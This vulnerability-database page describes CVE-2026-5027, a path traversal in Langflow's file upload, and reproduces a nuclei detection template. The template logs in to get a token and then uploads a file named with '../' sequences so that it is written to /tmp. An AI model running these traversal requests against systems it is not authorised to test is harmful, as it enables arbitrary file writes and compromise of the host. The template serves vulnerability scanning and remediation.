Lucene search
K

Langflow <= 1.8.4 - Path Traversal to RCE via File Upload

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 7 Views

Langflow up to 1.8.4 has path traversal in file upload enabling writes and execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-5027
3 Apr 202609:48
githubexploit
GithubExploit
Exploit for CVE-2026-5027
10 Jun 202619:18
githubexploit
ATTACKERKB
CVE-2026-5027
27 Mar 202614:54
attackerkb
Circl
CVE-2026-5027
27 Mar 202617:23
circl
CNNVD
Langflow 安全漏洞
27 Mar 202600:00
cnnvd
CVE
CVE-2026-5027
27 Mar 202614:54
cve
Cvelist
CVE-2026-5027 Langflow - Path Traversal Arbitrary File Write via upload_user_file
27 Mar 202614:54
cvelist
EUVD
EUVD-2026-16668
27 Mar 202615:30
euvd
NVD
CVE-2026-5027
27 Mar 202615:17
nvd
Packet Storm
📄 Langflow 1.8.4 File Write / Traversal / Remote Code Execution
2 Apr 202600:00
packetstorm
Rows per page
id: CVE-2026-5027

info:
  name: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload
  author: pussycat0x
  severity: high
  description: |
    The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.
  impact: |
    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
  remediation: |
    Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.
  reference:
    - https://github.com/langflow-ai/langflow/pull/12227
    - https://github.com/0xBlackash/CVE-2026-5027
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-5027
    epss-score: 0.02104
    epss-percentile: 0.79486
    cwe-id: CWE-22
  metadata:
    max-request: 2
    vendor: langflow-ai
    product: langflow
    shodan-query: title:"Langflow"
    fofa-query: title="Langflow"
  tags: cve,cve2026,langflow,lfi,intrusive,vkev

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        POST /api/v2/files HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650

        ------WebKitFormBoundarya3f2c8d9e7b14650
        Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------WebKitFormBoundarya3f2c8d9e7b14650--

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 201"
          - "contains_all(body_2, 'id','name','path')"
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body_1
        json:
          - ".access_token"
        internal: true

      - type: json
        part: body_2
        json:
          - ".path"

  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json

        username={{username}}&password={{password}}

      - |
        POST /api/v2/files HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650

        ------WebKitFormBoundarya3f2c8d9e7b14650
        Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------WebKitFormBoundarya3f2c8d9e7b14650--

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 201"
          - "contains_all(body_2, 'id','name','path')"
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body_1
        json:
          - ".access_token"
        internal: true

      - type: json
        part: body_2
        json:
          - ".path"
# digest: 4b0a004830460221009f422386efd9e532e79e18f5f911f13bbc54db2d1b8afcede6f170fb5f8bf056022100fafa108b09ca1772b6ff79c83cfbe7a0f25c14235d3800532f9df7cebe455a20:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2026 19:01Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.18.8
EPSS0.02104
SSVC
7